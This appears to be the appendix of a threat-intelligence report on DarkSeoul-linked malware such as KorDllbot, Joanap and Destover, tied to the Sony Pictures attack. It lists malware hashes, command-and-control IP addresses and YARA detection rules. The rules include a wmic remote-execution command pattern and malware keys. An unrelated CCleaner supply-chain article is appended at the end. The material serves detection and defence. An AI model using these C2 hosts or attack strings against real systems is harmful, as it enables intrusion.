bb4204dd059849848e9492523ce32520bf37cb80974320c0ca71f3b79e83f462 Downloader and backdoor 2f8c448bb05ed1218e638c61bb56ebb953b962ed5e065b08fa03cfcf6f6a1c68 Downloader and backdoor Group: e4046a19ef86378a43907279d072e5fb f98c67c4cf9b02acaabb555664a0d9d648a1e43f681f9bf234af066d5451be8d KorDllbot 1.05.2 downloader and backdoor Group:  33f8c3f1b7df61b949ed876422818bb1 1226d3635c1a216be9316c9dfa97f103c79ed4c44397e5e675d3b1e37786bf31 KorDllbot backdoor Group: de85322cb067a1aa41af54c2de87fb03 c5baece9978649659220af2681a3a43b83f8ae47afdd3862185d1fec7735a7d2 Dropped KorDllbot component a4b982d4e7137d7d3687f3127e6d5c2a8b2be1f53daeebce9175461c7e6a53cd KorDllbot backdoor dropper 9bcecd6afa54eb4f343b7eb82a86ceee189cc10bc91fa83f8cdc98cc5aaef117 KorDllbot backdoor dropper, disguised as a Korean Windows hotpatch Group: dde039353663cdb14337e6793ca2a8cf b7f2595dd62d1174ce6e5ddf43bf2b42f7001c7a4ec3c4cbe3359e30c674ed83 KorDllbot backdoor Group: 940888706c199a8342ef85eb60fecbb6 b039383a19e3da74a5a631dfe4e505020a5c5799578187e4ccc016c22872b246 KorDllbot backdoor service installer f4a06dd6ebfd0805d445f45ce33d7bba4a33c561111c39a347024069a78169e9 KorDllbot backdoor service 3acaea01fd79484d5a72c72e1b9c2fbf391145fb1533c17a8a83e897d8777f82 Removes backdoor service 81067f057d523fdcddf7df1da39a7c3614c45f6bff6bd387274c049244efda3b Removes backdoor service Group: 7940994b304aa1ac4d2d64e6b7b8890d 218ee208323dc38ebc7f63dba73fac5541b53d7ce1858131fa3bfd434003091d KorDllbot backdoor service installer 73edc54abb3d6b8df6bd1e4a77c373314cbe99a660c8c6eea770673063f55503 KorDllbot backdoor service Group: 328e8fb5f3ec48894f6af0eb0a821d01 6d5d706f5356e087f5961ba2ed808c51876d15c2e09eb081618767b36b1d012f KorDllbot backdoor service Group: 7301505ed41ad49a4b379588d64be787 7a538c3eed1f01b62a19226750c1369e4e9210b1331d5829ca91fe2b69087f06 Downloader 6059cb08489170aea77caf0940131e5765b153a593e76d93a0f244e89ddb9e90 Uploader e97a8909349a072ed945899fbe276fc27e9c5847bc578b0abccf017da3fd680c Dropper for 7a538c3eed1f01b62a19226750c1369e4e9210b1331d5829ca91fe2b69087f06 Group: f0eeae68ca747c804b6a1d078525ebd1 c4852ddba88e5c53a8711c4c7540b7ac98dac6b9e31d10dd999a81a4f0e117c3 KorDllbot backdoor service 3ebb3d8292a1aa5dc81b028beeefdec0f0448516d6225b336ee37d550ab8c3ab KorDllbot backdoor service Group: 61fd3dc8a14f3a9f4ffbb82b6b9165c2 87e68055959328d857b287e797896d9a96695b69ed300a843eee73319427b3b3 KorDllbot 1.03 backdoor service 94e14a85a2046b40842f6c898c5f6c3200de3d89c178a9a9f9a639c1d3de9ee9 KorDllbot 1.04.4 backdoor Group: 00f70a83e7c9fbb54ea74e8bbc14c609 cd8c729da299b29618819afeef8b2a79451e6c3d35dea3769ef638c649c69001 KorDllbot 1.04.4 backdoor service Group: b46daf51cd766faa487311beac043847 9d9889585f1a4048a3955d3a9cead2f426a509afaeacad27540382cc3266f0fa KorDllbot backdoor service Group: 10cc28f0b769aba64fe81a0cd640122f 888844c040be9d0fc3dab00dd004aa9e8619f939aff2eba21e4f48ca20e13784 KorDllbot 1.2 backdoor service Group: db8c962c5c8366854f9b052dab52d54a d7044a35e76543a03cd343d71652c7bbd9a28e246d7f3a43f4a2e75cd0ef7366 KorDllbot 1.04.5 backdoor service Group: 206f156f15bb3c814f24bebf69ec04c7 50974c15a546e961fbee8653e5725960a77b79e0f7c8eadf3b6d35ba3a46dd57 KorDllbot backdoor service Group: 7c4a1d98042a2d814c93e8d8f78ee6fe bfb5fa2a09ac60efcc0e9f05e781bd22cae0b8f6ba356d7819285f073845a0eb KorDllbot 1.03 backdoor service Group: 888ba4e41cd689a14ee48b2dbe87428e 9bc8fe605a4ad852894801271efd771da688d707b9fbe208106917a0796bbfdc KorDllbot service dropper.
Drops 0a27acaaebc7db0878239b40ab9d2feff13888839c05a03348fc09b78de6ced5 7b171a160cb2a17f87ca6a4a1c62b4cd9e718f987b7278d3effe0614b5b51be4 KorDllbot service dropper.
Drops 0a27acaaebc7db0878239b40ab9d2feff13888839c05a03348fc09b78de6ced5 0a27acaaebc7db0878239b40ab9d2feff13888839c05a03348fc09b78de6ced5 KorDllbot backdoor service APPENDIX: MALWARE HASHES KorDllbot-related samples 87bae4517ff40d9a8800ba4d2fa8d2f9df3c2e224e97c4b3c162688f2b0d832e fd95e095658314c9815df6a97558897cb344255bd54d03c965fa4cbd16d7bafd 82169a2d8f15680c93e1436687538afa01d6a2ecfe7a7cb613817c64a1a82342 792b484ac94f0baefc7e016895373ba92c2927e3463f62adb701ddbe4c90604c 162d6223c1c1219ca81a77e60e6b776058517272fe7cac828a3f64dcacd87811 56e0b1794a588e330e32a10813cdc9904e472c55f17dd6c8de341aeaf837d077 c16a66c1d8e681e962f03728411230fe7c618b7294c143422005785d3a724ec4 57b4c2e71f46fe3e7811a80d19200700c15dd358bdf9d9fdf61f1c9a669f7b4b 2d9edf45988614f002b71899740d724008e9a808efad00fa79760b31e0a08073 006e0cc29697db70b2d4319f320aa0e52f78bf876646f687aa313e8ba04e6992 dda136bc51670e57a4b2f091f83ab7b44291a9323d5483abd9e91b78221e027f 163571bd56001963c4dcb0650bb17fa23ba23a5237c21f2401f4e894dfe4f50d 3d2a7ea04d2247b49e2dcad63a179ae6a47237eddbfd354082f1417a63e9696e ea46ed5aed900cd9f01156a1cd446cbb3e10191f9f980e9f710ea1c20440c781 6e8a2329567cdbbba68460ccb97209867d7508983cb638662b33bfe90d0134d4 af7b53ce584b83085488e1190e1458948eaf767631f766e446354d0d5523e9d0 69300a42e055f68a8057192077fbbef3be5b66514ea9ca258b077c5c7e9417a9 e0cd4eb8108dab716f3c2e94e6c0079051bfe9c7c2ed4fcbfdd16b4dd1c18d4d 96c35225dc4cac65cc43a6cc6cdcce3d13b3bda286c8c65cad5f2879f696ad2a 29355f6d4341089b36834b4a941ef96b3bf758a4fe35fbb401cc4e74b9b1c90f 9e226a5eb4de19fcb3f7ecc3abcf52ea22a1f1a42a08dd104f5f7a00164e074e 041605e498bb41b07d2d43003152cc2a992e7e2ade7a47ee9aef2570bdb16d94 82fe3a8f2248643505e8de1977b734f97eb38225e6d3df6ea8f906430514b4f5 08203b4ddc9571418b2631ebbc50bea57a00eadf4d4c28bd882ee8e831577a19 8e3c3398353931c513c32330c07f65b6ee6f62fc7a56edac7cbe4edb1bf4c74e bb4204dd059849848e9492523ce32520bf37cb80974320c0ca71f3b79e83f462 2f8c448bb05ed1218e638c61bb56ebb953b962ed5e065b08fa03cfcf6f6a1c68 f98c67c4cf9b02acaabb555664a0d9d648a1e43f681f9bf234af066d5451be8d 1226d3635c1a216be9316c9dfa97f103c79ed4c44397e5e675d3b1e37786bf31 c5baece9978649659220af2681a3a43b83f8ae47afdd3862185d1fec7735a7d2 a4b982d4e7137d7d3687f3127e6d5c2a8b2be1f53daeebce9175461c7e6a53cd 9bcecd6afa54eb4f343b7eb82a86ceee189cc10bc91fa83f8cdc98cc5aaef117 b7f2595dd62d1174ce6e5ddf43bf2b42f7001c7a4ec3c4cbe3359e30c674ed83 b039383a19e3da74a5a631dfe4e505020a5c5799578187e4ccc016c22872b246 f4a06dd6ebfd0805d445f45ce33d7bba4a33c561111c39a347024069a78169e9 3acaea01fd79484d5a72c72e1b9c2fbf391145fb1533c17a8a83e897d8777f82 81067f057d523fdcddf7df1da39a7c3614c45f6bff6bd387274c049244efda3b 218ee208323dc38ebc7f63dba73fac5541b53d7ce1858131fa3bfd434003091d 73edc54abb3d6b8df6bd1e4a77c373314cbe99a660c8c6eea770673063f55503 6d5d706f5356e087f5961ba2ed808c51876d15c2e09eb081618767b36b1d012f 7a538c3eed1f01b62a19226750c1369e4e9210b1331d5829ca91fe2b69087f06 6059cb08489170aea77caf0940131e5765b153a593e76d93a0f244e89ddb9e90 e97a8909349a072ed945899fbe276fc27e9c5847bc578b0abccf017da3fd680c c4852ddba88e5c53a8711c4c7540b7ac98dac6b9e31d10dd999a81a4f0e117c3 3ebb3d8292a1aa5dc81b028beeefdec0f0448516d6225b336ee37d550ab8c3ab 87e68055959328d857b287e797896d9a96695b69ed300a843eee73319427b3b3 94e14a85a2046b40842f6c898c5f6c3200de3d89c178a9a9f9a639c1d3de9ee9 cd8c729da299b29618819afeef8b2a79451e6c3d35dea3769ef638c649c69001 9d9889585f1a4048a3955d3a9cead2f426a509afaeacad27540382cc3266f0fa 888844c040be9d0fc3dab00dd004aa9e8619f939aff2eba21e4f48ca20e13784 d7044a35e76543a03cd343d71652c7bbd9a28e246d7f3a43f4a2e75cd0ef7366 50974c15a546e961fbee8653e5725960a77b79e0f7c8eadf3b6d35ba3a46dd57 bfb5fa2a09ac60efcc0e9f05e781bd22cae0b8f6ba356d7819285f073845a0eb 9bc8fe605a4ad852894801271efd771da688d707b9fbe208106917a0796bbfdc 7b171a160cb2a17f87ca6a4a1c62b4cd9e718f987b7278d3effe0614b5b51be4 0a27acaaebc7db0878239b40ab9d2feff13888839c05a03348fc09b78de6ced5 Joanap-related samples 29b8c57226b70fc7e095bb8bed4611d923f0bcefc661ebae5182168613b497f8 66d44e2bc7495662d068051c5a687d17c7e95c8f04acb0f06248b34cd255cd25 fae77c173815b561ad02d8994d0e789337a04d9966dd27a372fd9055f1ac58b1 c1c56c7eb2f6b406df908ae822a6ea936f9cc63010ee3c206186f356f2d1aa94 4c5b8c3e0369eb738686c8a111dfe460e26eb3700837c941ea2e9afd3255981e 113d705d7736c707e06fb37ac328080b3976838d0a7b021fd5fb299896c22c7c 1a6c3e5643d7e22554ac0a543c87a2897ea4ea5a07bc080943a310a391e20713 0b860af58a9d2d7607f09022aa69508b0966a1cc8d953d3995a5fe07f8fabcac 5d73d14525ced5bdf16181f70f4d931b9c942c1ae16e318517d1cd53f4cd6ea9 c34ad273d836b2f058bbd73ea9958d272bd63f4119dacacc310bf38646ff567b 500c713aa82a11c4c33e9617cad4241fcef85661930e4986c205233759a55ae8 5f5acf76a991c1ca33855a96ec0ac77092f2909e0344657fe3acf0b2419d1eea c6d96be46ce3d616e0cb36d53c4fade7e954e74bfd2e34f9f15c4df58fc732d2 d558bb63ed9f613d51badd8fea7e8ea5921a9e31925cd163ec0412e0d999df58 006e0cc29697db70b2d4319f320aa0e52f78bf876646f687aa313e8ba04e6992 2d9edf45988614f002b71899740d724008e9a808efad00fa79760b31e0a08073 3d2a7ea04d2247b49e2dcad63a179ae6a47237eddbfd354082f1417a63e9696e ea46ed5aed900cd9f01156a1cd446cbb3e10191f9f980e9f710ea1c20440c781 f4113e30d50e0afc4fa610a3181169bb03f6766aea633ed8c0c0d1639dfc5b29 08203b4ddc9571418b2631ebbc50bea57a00eadf4d4c28bd882ee8e831577a19 a3992ed9a4273de53950fc55e5b56cc5b1327ffee59b1cea9e45679adc84d008 575028bbfd1c3aaff27967c9971176ae7038902f1a67d70def55ae8456e6166d 428cf6ec1a4c947b51ec099a656f575ce42f67737ee53f3afc3068a25adb4c0d f53e3e0b3c524471b1f064aabd0f782802abb4e29534a1b61a6b25ad8ec30e79 Destover b076e058 samples Droppers: 6e93d7bdb01af596019fa48986544ca24aa06463f17975a084b28ce9ab3cf910 e0066ddc9e6f62e687994a05027e3eaa02f6f3ad6d71d16986b757413f2fb71c Dropped components: 9ec83d39d160bf3ea4d829fa8d771d37b4f20bec3a68452dfc9283d72cee24f8 10d3ab45077f01675a814b189d0ac8a157be5d9f1805caa2c707eecbb2cbf9ac 33207f4969529ad367909e72e0f9d0a63c4d1db412e41b05a93a7184ec212af1 389ee412499fd90ef136e84d5b34ce516bda9295fa418019921356f35eb2d037 e0ce1f4b9ca61747467cee56307f9ea15dd6935f399837806f775e9b4f40e9ca 54ab7e41e64eb769b02b855504c656eaaff08b3f46d241cb369346504a372b4f 47830371f6f3d90d6a9fbe39e7f8d43a2e126090457448d0542fcbec4982afd6 Destover Volgmer samples Droppers: 37dd416ae6052369ae8373730a9189aefd6d9eb410e0017259846d10ac06bff5 87db427b1b44641d8c13be0ba0a2b2f354493578562326d335edfeb998c12802 e40a46e95ef792cf20d5c14a9ad0b3a95c6252f96654f392b4bc6180565b7b11 53e9bca505652ef23477e105e6985102a45d9a14e5316d140752df6f3ef43d2d 8fcd303e22b84d7d61768d4efa5308577a09cc45697f7f54be4e528bbb39435b Dropped components: 6dae368eecbcc10266bba32776c40d9ffa5b50d7f6199a9b6c31d40dfe7877d1 b987f7e6467704029c7784e9beb9ad3aa6e1375a661dc10b5f3d11c6a8fc1ef2 1d0999ba3217cbdb0cc85403ef75587f747556a97dee7c2616e28866db932a0d 9f177a6fb4ea5af876ef8a0bf954e37544917d9aaba04680a29303f24ca5c72c 78af649d3d6a932bcf53cfe384ce6bf9441f4d19084692b26b7e28b41f7a91bd 5d617f408622afc94b1ca4c21b0b9c3b17074d0fcd3763ee366ab8b073fc63e9 fee0081df5ca6a21953f3a633f2f64b7c0701977623d3a4ec36fff282ffe73b9 c5946116f648e346b293e2e86c24511a215ebe6db51073599bba3e523fb0d0a8 eab55bded6438cd7b8a82d6447a09bba078ded33049fca22d616a74bb2cad08f ff2eb800ff16745fc13c216ff6d5cc2de99466244393f67ab6ea6f8189ae01dd Destover Windowsupdatetracing samples Droppers: 83e507104ead804855d07bc836af4990542d1eac5ac2a8ce86f985d082199f6f d94ceade521452864ae8daae9d6b202a79d4761f755c7c769ec4e103c7c3127d bebf6266e765f7a0eefcde7c51507cc9f6e3b5d5b82a001660454e4e84f6e032 4166f6637b3b11f69cccbeb775f9ee6987a5a30475c54db189b837ee3fbbf0d1 eeb146ebbc3f144f5a6156d07322a696eead9c4895a9a6f94212d24056acd41c Destover Messagethread samples Droppers, var A 6959af7786a58dd1f06d5463d5ba472396214d9005fce8559d534533712a9121 68006e20a2f37609ffd0b244af30397e18df07483001150bcc685a9861e43d44 d8fedef123b3d386f0917f11db9fae0956ffe5b16a9aaad8805f72309437d066 Droppers, var B 2368ee0e0001599b7789d8199c7b19f362a87925118ae054309d85f960d982ec 6e3db4da27f12eaba005217eba7cd9133bc258c97fe44605d12e20a556775009 98abfcc9a0213156933ccd9cb0b85dc51f50e498dbfdec62f6a66dc0660d4d92 d36f79df9a289d01cbb89852b2612fd22273d65b3579410df8b5259b49808a39 Destover b8ac0905 X86 Service DLL sample: 696ff9dda1ce759e8ff6dd96b04c75d232e10fe03809ba8abac7317f477f7cf5 Destover b59d1659 X64 Service DLL sample: 7501c95647cef0c56e20c6d6a55de3d23f428e8878a05a603a0b37ea987a74e2 Destover e4004c1f HWP dropper documents: 3c3d2ab255daa9482fd64f89c06cdbfff3b2931e5e8e66004f93509b72cf1cc7 7d9631a62ae275c58e7ad2a3e5e4c4eac22cff46c077410ad628be6c38dd5e08 Dropper executables: ca4b4a3011947735a614a3dc43b67000d3a8deefb3fffa95b48f1d13032f2aea 31a76629115688e2675188d6f671beacfe930794d41cf73438426cc3e01cebae Dropped components: 7cea18dce8eb565264cc37bfa4dea03e87660b5cea725e36b472bafdcfe05ab1 757cd920d844fdcb04582a89b55f62b9a3e9bf73804abf94c9a9e15d06030b93 8a4f000049ad2a6c4eeac823c087b1c6e68c58b241c70341821cceccdf0f2d17 0654d112c17793c7a0026688cee569e780b989a9eb509585a977efd326dc2873 453d8bd3e2069bc50703eb4c5d278aad02304d4dc5d804ad2ec00b2343feb7a4 1f689996439db60970f4185f9cfc09f59bfe92650ba09bda38c7b1074c3e497b Destover Duuzer samples X86 samples: 029f93b7b7012777ee9fb2878d9c03b7fc68afad0b52cdc89b28a7ea501a0365 5831e614d79f3259fd48cfd5cd3c7e8e2c00491107d2c7d327970945afcb577d 6b70aa88c3610528730e5fb877415bc06a16f15373c131284d5649214cd2e96b 9b4c90ca8906e9fea63c9ea7a725db5fc66e1ca6c2a20bec2e8c1749b0000af5 b0cfaab0140f3ea9802dc6ed25bf208a2720fb590733966b7a3e9264a93a4e66 b3c0b7e355bee34cdb73d0bbdb1ba1b61797c035db31f0c82b19f9aa6a7abcc7 36844e66e5f4d802595909e2cbe90a96ad27da6b254af143b6611ab9ee85a13e 4efeea9eeae3d668897206eeccb1444d542ea537ca5c2787f13dd5dadd0e6aaa 5b28c86d7e581e52328942b35ece0d0875585fbb4e29378666d1af5be7f56b46 66df7660ddae300b1fcf1098b698868dd6f52db5fcf679fc37a396d28613e66b 72008e5f6aab8d58e4c8041cde20ee8a4d208c81e2b3770dbae247b86eb98afe 822a7be0e520bb490386ad456db01f26c0f69711b4ac61ba2cb892d5780fe38f 899ff9489dde2c5f49d6835625353bfe5ea8ca3195ca01362987a9d4bdac162d 8b50d7d93565aab87c21e42af04230a63cd076d19f8b83b063ef0f61d510adc7 90d8643e7e52f095ed59ed739167421e45958984c4c9186c4a025e2fd2be668b ac27cfa2f2a0d3d66fea709d7ebb54a3a85bf5134d1b20c49e07a21b6df6255a c5be570095471bef850282c5aaf9772f5baa23c633fe8612df41f6d1ebe4b565 ce0e43c2b9cb130cd36f1bc5897db2960d310c6e3382e81abfa9a3f2e3b781d7 facb32efc05bc8c4f3cb3baa6824db0f7effc56c02dbc52c33bafe242a1def77 763d1cb589146dd44e082060053ffbf5040830c79be004f848a9593d6be124ac 02d1d4e7acd9d3ec22588d89aed31c9a9d55547ef74fa3749659b610893f5405 47181c973a8a69740b710a420ea8f6bf82ce8a613134a8b080b64ce26bb5db93 e187811826b2c33b8b06bd2392be94a49d068da7f703ae060ee4faffde22c2fe X64 samples: 2811fdceb8a8aa03bbf59c0b01a43bd1f2aee675a8f20d38194258046987e5fa 39e53ba6984782a06188dc5797571897f336a58b8d36020e380aa6cd8f1c40a2 530a0f370f6f3b78c853d1e1a6e7105f6a0f814746d8a165c4c694a40c7ad09a 7a2a740d60bd082c1b50ab915ef86cc689ba3a25c35ac12b24e21aa118593959 eaea45f8bfb3d8ea39833d9dcdb77222365e601264575e66546910efe97cba99 ee49322ed9fb43a9a743b54cc6f0da22da1d6bc58e87be07fd2efe5e26c3ef8a ef07d6a3eb4a0047248c845be3da3282c208ede9508a48dbb8128eacc0550edf 477ca3e7353938f75032d04e232eb2c298f06f95328bca1a34fce1d8c9d12023 5a69bce8196b048f8b98f48c8f4950c8b059c43577e35d4af5f26c624140377c 89b25f9a454240a3f52de9bf6f9a829d2b4af04a7d9e9f4136f920f7e372909b a01bd92c02c9ef7c4785d8bf61ecff734e990b255bba8e22d4513f35f370fd14 b93793e3f9e0919641df0759d64d760aa3fdea9c7f6d15c47b13ecd87d48e6a9 d589043a6f460855445e35154c5a0ff9dbc8ee9e159ae880e38ca00ea2b9a94f Destover Randomdomain samples X86 samples: 92cc25e9a87765586e05a8246f7edb43df1695d2350ed921df403bdec12ad889 f2a14c5ef6669d1eb08fababb47a4b13f68ec8847511d4c90cdca507b42a5cf3 520778a12e34808bd5cf7b3bdf7ce491781654b240d315a3a4d7eff50341fb18 e55fff05de6f2d5d714d4c0fa90e37ef59a5ec4d90fdf2d24d1cb55e8509b065 e506987c5936380e7fe0eb1625efe48b431b942f61f5d8cf59655dc6a9afc212 2477f5e6620461b9146b32a9b49def593755ac9788fc4beeee81bf248aa2e92a f69747d654acc33299324e1da7d58a0c8a4bd2de464ec817ad201452a9fa4b54 44884565800eebf41185861133710b4a42a99d80b6a74436bf788c0e210b9f50 2f629c3c65c286c7f55929e3d0148722c768c730a7d172802afe4496c0abd683 b5e1740312b734fb70a011b6fe52c5504c526a4cccb55e154177abe21b1441c9 X64 samples: 0e162a2f07454d65eaed0c69e6c91dd10d29bdb27e0b3b181211057661683812 a53e33c77ecb6c650ee022a1311e7d642d902d07dd519758f899476dbaae3e49 c95eaedaafd8041bb0fea414b4ebc0f893f54cdec0f52978be13f7835737de2a da255866246689572474d13d3408c954b17d4cc969c45d6f45827799e97ed116 8465138c0638244adc514b2722fcb60b2a26a8756aa7d97f150e9bdc77e337cc Destover FormBoundary sample 77a32726af6205d27999b9a564dd7b020dc0a8f697a81a8f597b971140e28976 Destover BasicHwp samples HWP dropper document: 794b5e8e98e3f0c436515d37212621486f23b57a2c945c189594c5bf88821228 Droppers: c248da81ba83d9e6947c4bff3921b1830abda35fed3847effe6387deb5b8ddbb 794b5e8e98e3f0c436515d37212621486f23b57a2c945c189594c5bf88821228 fba0b8bdc1be44d100ac31b864830fcc9d056f1f5ab5486384e09bd088256dd0 Dropped components: c3f5e30b10733c2dfab2fd143ca55344345cc25e42fbb27e2c582ba086fe3326 Destover Volgmer2 samples Droppers: 1ee75106a9113b116c54e7a5954950065b809e0bb4dd0a91dc76f778508c7954 f71d67659baf0569143874d5d1c5a4d655c7d296b2e86be1b8f931c2335c0cd3 Dropped components: 96721e13bae587c75618566111675dec2d61f9f5d16e173e69bb42ad7cb2dd8a APPENDIX: CC DATA Joanap-related CC addresses 110.164.115.177 118.102.187.188 118.70.143.38 119.15.245.179 122.55.13.34 168.144.197.98 189.114.147.186 196.44.250.231 201.222.66.25 60.251.197.122 62.135.122.53 62.150.4.42 62.87.153.243 63.131.248.197 63.149.164.98 64.71.162.61 66.210.47.247 69.15.198.186 72.156.127.210 75.145.139.249 78.38.221.4 80.191.114.136 81.130.210.66 81.83.10.138 83.211.229.42 92.253.102.217 92.47.141.99 93.62.0.22 94.28.57.110 96.39.78.157 Volgmer CC addresses (dynamic normal, hardcoded bold) 103.16.223.35 113.28.244.194 116.48.145.179 117.239.214.162 12.217.8.82 123.176.38.17 123.176.38.175 134.121.41.45 186.116.9.20 186.149.198.172 190.210.39.16 195.28.91.232 199.15.234.120 200.42.69.13 200.42.69.133 203.131.222.99 206.123.66.136 206.163.230.170 212.33.200.86 213.207.142.82 220.128.131.251 24.242.176.130 41.21.201.101 64.3.218.243 78.93.190.70 83.231.204.157 84.232.224.218 89.122.121.230 89.190.188.42 200.87.126.116 194.224.95.20 Destover MessageThread CC IP addresses: 101.76.99.183 112.206.230.54 124.47.73.194 165.138.120.35 175.45.4.158 177.189.204.214 187.176.34.40 202.182.50.211 203.131.222.102 208.105.226.235 209.237.95.19 211.76.87.252 213.42.82.243 31.210.53.11 59.125.119.135 59.125.62.35 61.91.100.211 62.141.29.175 65.117.146.5 71.40.211.3 85.112.29.106 91.183.41.5 93.157.14.154 Destover WindowsUpdateTracing real CC IP addresses (after XOR translation).
Addresses in red are inferred from pDNS only (no sample).
1.202.129.201 110.78.165.32 113.10.158.4 124.81.92.85 140.134.23.140 196.36.64.50 199.83.230.236 201.22.95.127 202.9.100.206 185.20.218.28 200.55.243.150 122.179.175.224 124.123.219.216 108.166.93.13 14.141.129.116 217.128.80.228 58.137.122.226 2.224.202.27 14.2.240.20 59.125.75.217 41.38.151.7 201.203.27.170 64.206.243.35 184.180.159.183 24.77.32.241 64.228.222.61 217.8.95.250 180.26.59.158 41.41.29.214 Destover RandomDomain CC IP addresses: 103.233.121.22 187.111.14.62 187.54.39.210 200.202.169.103 202.152.17.116 203.131.210.247 206.248.59.124 37.34.176.14 94.199.145.55 Destover Duuzer CC IP addresses: 110.77.140.155 113.160.112.125 114.143.184.19 148.238.251.30 161.139.39.234 161.246.14.35 175.111.4.4 177.0.154.88 177.19.132.216 177.52.193.198 184.173.254.54 185.20.218.28 185.30.198.1 185.81.99.17 186.167.17.115 194.165.149.51 196.202.33.106 200.87.126.117 201.163.208.37 202.39.254.231 203.113.122.163 203.115.13.105 203.170.66.206 210.211.124.229 223.255.129.230 31.210.54.14 37.148.208.67 37.58.148.34 41.21.201.107 41.76.46.182 5.22.140.93 62.0.79.45 67.229.173.226 78.38.114.213 87.101.243.246 90.80.152.49 203.132.205.250 59.90.208.171 201.25.189.114 Destover BasicHwp CC IP addresses: 91.183.71.18 184.20.197.204 208.87.77.153 201.216.206.49 87.101.243.252 208.69.30.151 69.54.32.30 Destover Volgmer2 CC IP addresses: 121.170.194.185 222.236.46.5 APPENDIX: YARA RULES rule Destover : Backdoor  meta: author  Blue Coat Systems, Inc. info  Used for attacks on Sony Pictures Entertainment and targets in South Korea strings: a1 recdiscm32.exe a2 taskhosts64.exe a3 taskchg16.exe a4 rdpshellex32.exe a5 mobsynclm64.exe a6 comon32.exe a7 diskpartmg16.exe a8 dpnsvr16.exe a9 expandmn32.exe a10hwrcompsvc64.exe a12cmd.exe /c wmic.exe /node:\s\ /user:\s\ /password:\s\ PROCESS CALL CREATE \s\  s a1399E2428CCA4309C68AAF8C616EF3306582A64513E55C786A864BC83DAFE0C78585B692047273B0E55275102C66 a14b8ac0905cda0360fc115f614119da76d84e2277762bd7558b2650a79013fb50138f732d5a03730d7d5b17 a15b076e0580463a202bad74cb9c1b85af3fb4d1be513ccca3ae8b57d193be77b4ab63802b3216d3a80b0082 a16bc9b75a31177587245305cd418b8df78652d1c03e9da0cfc910d6d38ee4191d40bd51483321ebe44595f7 a17b50a338264226b6d57c1936d9db140ba74a28930270a083353645a9b518661f4fcea160d73469b8beabc1 a18b59d165982e3d5721c4d40195f85aedf2a12d6616be11a2c19fa11821604edc4675bdca4f9b9cbfb27244 a19e4004c1f94182000103d883a448b3f802ce4b44a83301270002c20d0321cfd0011ccef784c26a400f43df b1  ---------------End-------------- b2  WaitRecv End wide condition: any of (a) or all of (b)  rule Destover2 : Backdoor  meta: author  Blue Coat Systems, Inc. info  Used for attacks on Sony Pictures Entertainment and targets in South Korea strings: a1  sd.esc fullword ascii wide a2  xe fullword ascii wide a3  cm fullword ascii wide b1  smd.esc fullword ascii wide c1  smsesc fullword ascii wide d  ChfTime Success ascii wide e  FF15????????6A3EFF75??FF15????????5985C0598D85????????50FF75??68????????68???????
?75 f  s \s  s 21\ ascii wide condition: all of (a) or (b1 and a2) or (c1 and a2) or d or e or f  rule DarkSeoul_Obf_ChopString : Backdoor  meta: author  Blue Coat Systems, Inc. info  Obfuscation method used by the DarkSeoul group strings: a18B54240456BE???????
?57B91400000033C08BFEF3AB803A0074158A023C2E74073C2074038806468A42014284C075EB condition: any of them  rule DarkSeoul_Obf_BCSUB : Backdoor  meta: author  Blue Coat Systems, Inc. info  Obfuscation method used by the DarkSeoul group strings: a1pM[XpSZJ[JC condition: any of them  rule DarkSeoul_Obf_XORA7 : Backdoor  meta: author  Blue Coat Systems, Inc. info  Obfuscation method used by the DarkSeoul group strings: a1E0C2D3F7D5C8C4E6C3C3D5C2D4D4 condition: any of them  rule DarkSeoul_Obf_Caracachs : Backdoor  meta: author  Blue Coat Systems, Inc. info  Obfuscation method used by the DarkSeoul group strings: a1F3EEAEFFFBB821BF9AE3D820FDC0 condition: any of them  rule DarkSeoul_Keystrings : Backdoor  meta: author  Blue Coat Systems, Inc. info  Encryption keys used by the DarkSeoul group strings: a1  Bb102jH4t3hg6G1s2J3gCNwVrUeIDr3hytgCHGfion a2  BAISEO2fas9vQsfvx a3  A39405WKELsdfirpsdLDPskDORkbLRTP123303223 condition: any of them  rule Joanap :  meta: author  Blue Coat Systems, Inc. info  SMB worm family used by the DarkSeoul group strings: a1NTLMSSP a2MiniDumpWriteDump a3password 14 a4KGS b19025jhdho39ehe2 b2ys11yid60u7f07ou74n001 b3y0uar3s11yid07,ou74n60u7f001 condition: all of (a) or any of (b)  executive summary Introduction Malware known to be connected with the Sony case A note about The Hangul Word Processor (.HWP, HWPX) format Malware Archeology Timeline of likely darkseoul-related attacks the KorDllbot backdoor family The MicrosoftCodeSigningPCA certificate cluster KorDllbot-related SMB worms The Joanap/Brambul worm family The Dozer (aka 7.7 DDOS) Attack The Koredos (aka 3.4 DDOS) attack The joongang ilbo Attack The Darkseoul (aka 3.20 or Jokra) Attack The Korhigh malware NOV 2014: Sony attack destover backdoor samples are based on kordllbot Other possibly related malware activity The Castov and castdos campaigns (aka 6.25 ddos attacks) The Kimsuky system The BlackMine system Conclusion Works Cited Appendix: technical details THE JOANAP FAMILY joanap.
A backdoor, Jan 2009 joanap.b worm, OCT 2009 joanap.b downloaded backdoor, SEP 2009 joanap.
C backdoor, JUL 2010 joanap.d backdoor, JUL 2011 joanap.e worm, AUG-sep 2011 joanap.
F worm, Mar 2012 joanap.
G worm, OCt 2014 joanap.
H worms, OCt 2014-jan 2015 THE destover FAMILY Destover b076e058 backdoors, Feb-June 2014.
Destover volgmer backdoors, MAR-Sept 2014 Destover Windowsupdatetracing backdoors, Sept-Oct 2014 Destover Messagethread backdoors, may 2014-mar 2015 Destover b8ac0905 backdoor, MAR 2015 Destover b59d1659 backdoor, Apr 2015 Destover RANDOMDOMAIN backdoors, mar-APR 2015.
Version C Jan 2016 Destover duuzer backdoors, mar-OCT 2015 , JAN 2016 Destover e4004c1f backdoor, JUL-SEP 2015 Destover basichwp backdoor, SEP 2015 Destover Formboundary backdoor, nov 2015 Destover VOLgmer2 backdoor, jan 2016 Appendix: Algorithms and other indicators APPENDIX: The MicrosoftCodeSigningPCA self-signed sample cluster APPENDIX: Malware hashes APPENDIX: CC DATA APPENDIX: YARA rules
9/20/2017 Evidence Aurora Operation Still Active: Supply Chain Attack Through CCleaner intezer.com /evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/ Recently, there have been a few attacks with a supply chain infection, such as Shadowpad being implanted in many of Netsarangs products, affecting millions of people.
You may have the most up to date cyber security software, but when the software you are trusting to keep you protected gets infected there is a problem.
A backdoor, inserted into legitimate code by a third party with malicious intent, leads to millions of people being hacked and their information stolen.
Avasts CCleaner software had a backdoor encoded into it by someone who had access to the supply chain.
Through somewhere that had access to the source code of CCleaner, the main executable in v5.33.6162 had been modified to include a backdoor.
